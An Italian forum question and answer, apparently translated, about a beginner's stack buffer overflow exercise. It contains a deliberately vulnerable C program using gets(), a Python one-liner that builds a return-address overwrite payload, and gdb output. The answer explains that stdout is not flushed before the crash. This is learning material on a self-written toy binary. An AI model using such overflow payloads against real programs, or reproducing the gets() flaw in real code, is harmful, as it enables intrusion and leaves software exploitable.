Lo exploit funziona solo in gdb

6

tl; dr: Perché il mio exploit funziona solo all'interno di gdb.

Sono molto nuovo nel buffer overflow e sfrutta i campi di sviluppo. Per migliorare le mie capacità basate su una serie di articoli e video ho scritto questo semplice software C:

Nota: ho disabilitato ASLR

Credo che la mia domanda sia diversa da questa: L'exploit di overflow del buffer funziona con gdb ma non senza perché l'autore sembra avere ASRL abilitato.

#include <stdio.h>
#include <string.h>

void granted()
{
    printf ("\nAccess granted\n");
    return;
}

int main()
{
    char password[104];
    printf ("Enter your password: ");
    gets(password);

    if (strcmp(password,"p@$$w0rd"))
    {
        printf("\nFailed!!");
    }
    else
    {
        granted();
    }

}

Per quanto ne so c'è un piccolo bug: è possibile inserire più di 103 caratteri.

I miei primi obiettivi di exploit erano di reindirizzare il flusso di esecuzione alla funzione concessa.

Per generare l'exploit, ho usato il seguente comando python -c 'print "A"*100+"\x9b\x84\x04\x08"+"BBBB"' > payload-access-granted

me@computer:~$ gdb bof3.bin 
(gdb) r < payload-access-granted 
Starting program: /home/me/bof3.bin < payload-access-granted
Enter your password: 
Failed!!
Access granted

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Come puoi vedere il payload ha fatto ciò che era previsto: saltato alla funzione concessa. Lo sfruttamento sta funzionando ... ma

Al di fuori di gdb:

me@computer:~$ ./bof3.bin < payload-access-granted 
Enter your password: 
Segmentation fault (core dumped)

Quindi, perché si verifica? Cosa non ho fatto correttamente?

    
posta Joao Daniel 19.04.2017 - 13:05
fonte

1 risposta

2

Molto probabilmente, funziona, ma il programma si arresta in modo anomalo con la stampa Access Grant che non è stata scaricata sullo schermo. L'arresto di SIGSEGV non provoca il flush dei buffer. Aggiungi fflush(stdout); dopo la chiamata di printf in granted e probabilmente otterrai il tuo comportamento desiderato.

    
risposta data 06.12.2017 - 19:40
fonte

Leggi altre domande sui tag